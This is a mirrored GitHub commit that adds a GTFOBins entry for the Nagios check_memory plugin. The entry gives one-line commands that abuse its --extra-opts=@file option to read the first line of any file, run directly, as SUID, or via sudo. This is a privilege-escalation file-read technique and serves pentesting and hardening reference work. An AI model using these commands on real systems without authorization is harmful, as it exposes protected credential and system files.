mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
New command: check_memory
This commit is contained in:
parent
ea9dd24d59
commit
d0bbdb69cf
17
_gtfobins/check_memory.md
Normal file
17
_gtfobins/check_memory.md
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
check_memory --extra-opts=@"$LFILE"
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./check_memory --extra-opts=@"$LFILE"
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo check_memory --extra-opts=@"$LFILE"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user